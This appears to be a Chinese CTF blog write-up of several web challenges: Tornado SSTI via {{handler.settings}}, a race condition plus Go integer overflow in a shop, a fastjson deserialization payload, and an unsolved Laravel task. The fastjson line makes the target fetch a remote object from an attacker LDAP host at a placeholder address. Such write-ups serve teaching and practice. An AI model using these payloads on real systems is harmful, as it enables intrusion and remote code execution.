easy tornado
题目使用python的tornado框架,且报错页面存在 SSTI ,通过 {{handler.settings}} 获取
然后根据下面的提示,生成对应的md5值,即可兑换flag。
1 | http://49.4.79.120:32271/file?filename=hint.txt&signature=54db05058334f642bf168b66ecf0b154 |
ltshop
又是一个买flag的商城。首先每个用户都有初始金额:20¥
商城商品如下:
20¥最多买4个大辣条,明显不够。尝试使用条件竞争,买到9包大辣条。
9包大辣条最多也就换1包辣条之王,而且在兑换辣条之王的数据包中有 number 参数,我们可以先 fuzz 参数,看看返回结果是否会不一样。
可以发现 18446744073709551615 是个临界值,通过搜索发现这个数字是mysql中unsigned bigint的最大值。一开始我是以为是mysql整数溢出,后来其他师傅说是go的unsigned int溢出。想了一下,确实有道理,因为从COOKIE就可以看出这是一个go语言开发的Web应用程序,如果在mysql里面发生溢出的话,会直接报错。
我们可以猜测一下溢出是如何发生的。首先我们通过竞争买了9包大辣条,这个数据便记入数据库中。当大辣条大于等于5才能进行兑换辣条之王操作。然后Web应用程序接收用户传上来的 number 参数,该参数用来表示要兑换的辣条之王数量,然后进行下面的判断操作:
1 | number*5 < 用户拥有的大辣条数量 |
如果条件成立,才能进行兑换操作。由于我们兑换所需的辣条之王肯定不够,所以尝试整数溢出,用 18446744073709551615 除以 5 在加 1 ,这样就刚好符合条件。
easy_web
javaweb,不会:)。有百度到很像的漏洞:fastjson 远程反序列化poc的构造和分析 ,然后还是不会。
需要自己搭建一个LDAP服务器:
1 | {'name':'user','age':18, "@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x.x.x.x/obj","autoCommit":true} |
Easy Laravel
在源码中发现git项目地址:https://github.com/qqqqqqvq/easy_laravel ,下载源码审计。还没审计过 Laravel 框架,暂时不会。好累啊,睡觉先,有空再复现一下。
这题可以参考:护网杯-easy laravel-Writeup http://www.venenof.com/index.php/archives/565/